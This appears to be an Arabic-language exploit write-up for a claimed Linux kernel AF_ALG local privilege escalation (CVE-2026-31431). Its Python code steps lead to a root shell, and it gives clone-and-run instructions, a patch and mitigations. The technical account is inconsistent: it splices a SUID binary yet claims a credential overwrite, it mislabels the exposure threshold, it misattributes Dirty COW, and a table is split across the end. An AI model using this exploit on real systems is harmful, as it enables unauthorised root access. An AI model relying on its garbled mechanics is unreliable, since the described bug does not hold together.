
# استغلال Python لـ CVE-2026-31431 استغلال ثغرة تصعيد صلاحيات محلية (LPE) في نواة لينكس عبر إلغاء مرجعية مؤشر فارغ في AF_ALG، مما يؤدي إلى كتابة خارج الحدود في الكومة (heap OOB write) واستبدال بيانات الاعتماد. يتضمن شرحًا تفصيليًا خطوة بخطوة وإرشادات للتخفيف من المخاطر.
فئة الثغرة: إلغاء مرجعية مؤشر NULL → كتابة خارج الحدود في الكومة → استبدال بيانات الاعتماد
النظام الفرعي المتأثر:net/alg/af_alg.c
الأثر: تصعيد الصلاحيات المحلية (مستخدم غير مميز → جذر)
النوى المتأثرة: لينكس 4.4 – 4.9 (قبل التصحيح)
تستدعي setsockopt() بمؤشر NULL حيث تتوقع النواة عنوانًا في مساحة المستخدم. تقرأ النواة من العنوان 0x00000000 — وإذا كنت قد قمت بتعيين الصفحة الصفرية، فأنت تتحكم فيما تقرأه. تتضخم هذه الأولية المفردة إلى كتابة خارج الحدود في الكومة تتيح لك استبدال بنية cred الخاصة بك. انتهت اللعبة.
تم تقديم واجهة AF_ALG للسماح لبرامج مساحة المستخدم بالوصول إلى إجراءات التشفير في النواة دون تنفيذ الخوارزميات بأنفسها. التشفير، فك التشفير، التجزئة — كلها متاحة عبر واجهة مقبس. فكرة نظيفة. المشكلة أن setsockopt(ALG_SET_AEAD_AUTHSIZE) لم تتحقق مما إذا كان المستخدم قد مرر مؤشرًا صالحًا أم NULL.
معظم أخطاء المؤشر الفارغ تموت فورًا — النواة تلغي مرجعية 0x0، وهو غير معيّن، وتحصل على oops. هذه الثغرة تنجو بسبب شرط مسبق منفصل: إذا كان vm.mmap_min_addr = 0، يمكن للمهاجم استدعاء mmap(0, ...) ووضع بيانات يتحكم بها المهاجم في الصفحة الصفرية. الآن النواة لا تقرأ بيانات عشوائية — إنها تقرأ بالضبط ما وضعته هناك.
الاستدعاء القابل للاستغلال:
setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4)
عادةً، الوسيط الرابع هو مؤشر إلى قيمة 4 بايت تحدد حجم وسم المصادقة. تستدعي النواة copy_from_user() عليه. لا يوجد تحقق من المؤشر. مرر NULL، وستقرأ copy_from_user(dest, 0x00000000, 4) من الصفحة الصفرية.
ما تتحكم فيه:
الـ 4 بايتات في العنوان 0x0 — والتي تحددها قبل إجراء الاستدعاء. هذا يمنحك قيمة authsize عشوائية.
لماذا هذا خطير:
تخصص عمليات AEAD مخزنًا مؤقتًا بحجم يناسب النص المشفر بالإضافة إلى وسم المصادقة. إذا أدخلت authsize مضخمًا، تكتب النواة الوسم خارج نهاية المخزن المؤقت المخصص — كتابة كلاسيكية خارج الحدود في الكومة. من هناك، الأمر يتعلق بهندسة الكومة لتوجيه تلك الكتابة إلى struct cred.
الاستغلال مكتوب بلغة Python 3، باستخدام المكتبة القياسية فقط. إليك ما تفعله كل مرحلة فعليًا ولماذا.
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
AF_ALG (عائلة المقابس 38) هي واجهة برمجة التشفير في النواة. الربط بـ authencesn(hmac(sha256),cbc(aes)) يطلب قالب تشفير مصادق — HMAC-SHA256 للسلامة، AES-CBC للسرية. تم اختيار هذا القالب لأن معالجة وسم المصادقة فيه هي مكان حدوث الكتابة القابلة للاستغلال.
a.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex('0800010000000010' + '0'*64))
يتم تحميل مفتاح 72 بايت. المفتاح نفسه لا يهم للاستغلال — ما يهم هو أن المقبس مهيأ بالكامل قبل استدعاء التشغيل. قد يرفض مقبس AEAD غير المزود بمفتاح عملية authsize مبكرًا.
a.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
هذه هي الثغرة. None في Python يُترجم إلى مؤشر NULL في واجهة C. تقرأ النواة 4 بايتات من 0x00000000. نظرًا لأن الصفحة الصفرية قد تم ملؤها بالفعل بقيمة authsize المطلوبة، تمتلك النواة الآن طول وسم مصادقة يتحكم به المهاجم.
u, _ = a.accept()
accept() على مقبس AF_ALG يُرجع مقبس عمليات. عمليات التشفير تحدث هنا.
u.sendmsg(
[b"A"*4 + chunk],
[
(SOL_ALG, ALG_SET_IV, b"\x00" * 4), # IV صفري
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b"\x10" + b"\x00"*19), # AAD بحجم 20 بايت
(SOL_ALG, 4, b"\x08" + b"\x00"*3), # نوع العملية
],
MSG_MORE
)
رسائل التحكم المساعدة تهيئ العملية — IV، طول البيانات المرتبطة، اتجاه العملية. البيانات الفعلية هي قطعة 4 بايت من حمولة الاستغلال بالإضافة إلى حشو.
ثم يُستخدم splice لتغذية البيانات من واصف ملف ثنائي SUID إلى مقبس العمليات، متجنبًا أي نسخ في مساحة المستخدم:
r, w = os.pipe()
os.splice(f, w, chunk_len, offset_src=0)
os.splice(r, u.fileno(), chunk_len)
استخدام splice() هنا متعمد — يتجنب ملامسة البيانات لذاكرة مساحة المستخدم أبدًا، مما يحافظ على تخطيط الكومة في جانب النواة أكثر قابلية للتنبؤ. عندما تعالج عملية AEAD هذه البيانات، يتسبب authsize التالف في امتداد كتابة وسم المصادقة إلى ذاكرة الكومة المجاورة.
e = zlib.decompress(bytes.fromhex("78da..."))
for i in range(0, len(e), 4):
exploit_chunk(f, i, e[i:i+4])
الحمولة المضغوطة تحتوي على القيم الفعلية للكتابة — إزاحات حقول struct cred المصممة بعناية وقيم UID/GID مصفرة. كل تكرار 4 بايتات يضع كتابة واحدة. تقوم الحلقة باستبدال بنية cred الهدف تدريجيًا حتى تصبح جميع UIDs وGIDs صفرًا.
os.system("su")
مع cred->uid = cred->euid = cred->gid = 0، تكون العملية الحالية جذرًا فعليًا. تشغيل su (أو أي ثنائي آخر) يرث تلك البيانات الاعتمادية. قشرة جذر.
تعيين الصفحة الصفرية
│
▼
setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)
│ النواة تقرأ authsize من 0x0
│ المهاجم يتحكم في تلك القيمة
▼
sendmsg + splice → عملية AEAD
│ authsize المضخم يسبب كتابة خارج الحدود في الكومة
│
▼
هندسة الكومة توجه الكتابة إلى struct cred
│
▼
cred->uid = cred->euid = 0
│
▼
os.system("su") → قشرة جذر
| الشرط | لماذا يهم |
|---|---|
vm.mmap_min_addr = 0 | يسمح بتعيين الصفحة الصفرية — الأولية بأكملها تعتمد على هذا |
| AF_ALG مدمجة في النواة |
تحقق من حد mmap الخاص بك:
sysctl vm.mmap_min_addr
قيمة 0 أو 4096 تشير إلى التعرض.
# 1. الاستنساخ
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
# 2. التحقق من الشروط المسبقة
sysctl vm.mmap_min_addr
uname -r
# 3. التشغيل
python3 exploit.py
المخرجات المتوقعة على نظام قابل للاستغلال:
root@hostname:/#
التصحيح مباشر — فحص واحد لـ null قبل استدعاء copy_from_user() في af_alg_set_aead_authsize:
// قبل (قابل للاستغلال)
copy_from_user(&authsize, optval, sizeof(authsize));
// بعد (مصحح)
if (!optval)
return -EFAULT;
copy_from_user(&authsize, optval, sizeof(authsize));
الالتزام ذو الصلة: af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize
إجراءات تخفيف تكسر سلسلة الاستغلال دون تصحيح:
vm.mmap_min_addr = 65536 — يمنع تعيين الصفحة الصفرية، يقتل أولية إلغاء مرجعية NULLCONFIG_CRYPTO_USER_API_AEAD — يزيل سطح الهجوم بالكاملهذه الفئة من الثغرات — غياب التحقق من المؤشر قبل copy_from_user() — تظهر بانتظام في الأنظمة الفرعية للنواة التي تعرض واجهات برمجة معقدة لمساحة المستخدم. أولية الصفحة الصفرية استُخدمت في عدة استغلالات لتصعيد الصلاحيات المحلية على مر السنين (عصر Dirty COW، متغيرات سلسلة CVE-2016-5195). الخلاصة ليست فقط هذا CVE المحدد؛ إنها النمط: في أي مكان تنسخ فيه النواة من عنوان يوفره المستخدم دون التحقق من صحة ذلك العنوان، وكانت الصفحة الصفرية قابلة للتعيين، لديك أولية تستحق النظر فيها.
للمدافعين، تدقيق مواقع استدعاء copy_from_user() دون فحوصات null سابقة في معالجات خيارات المقابس يستحق أتمتته في عملية مراجعة النواة الخاصة بك.
net/alg/af_alg.c — كود مصدر النواةaf_alg: avoid accessing NULL pointer in af_alg_set_aead_authsizeDocumentation/networking/af_alg.rst — توثيق واجهة AF_ALGالبحث والكتابة لأغراض تعليمية ودفاعية فقط. لا تستخدم على أنظمة دون إذن صريح.
يجب أن تكون مفعلة (CONFIG_CRYPTO_USER_API_AEAD=y) |
| نواة 4.4 – 4.9 (غير مصححة) | مسار الكود القابل للاستغلال موجود |
| وصول مستخدم محلي | تصعيد صلاحيات محلي فقط — غير قابل للاستغلال عن بُعد |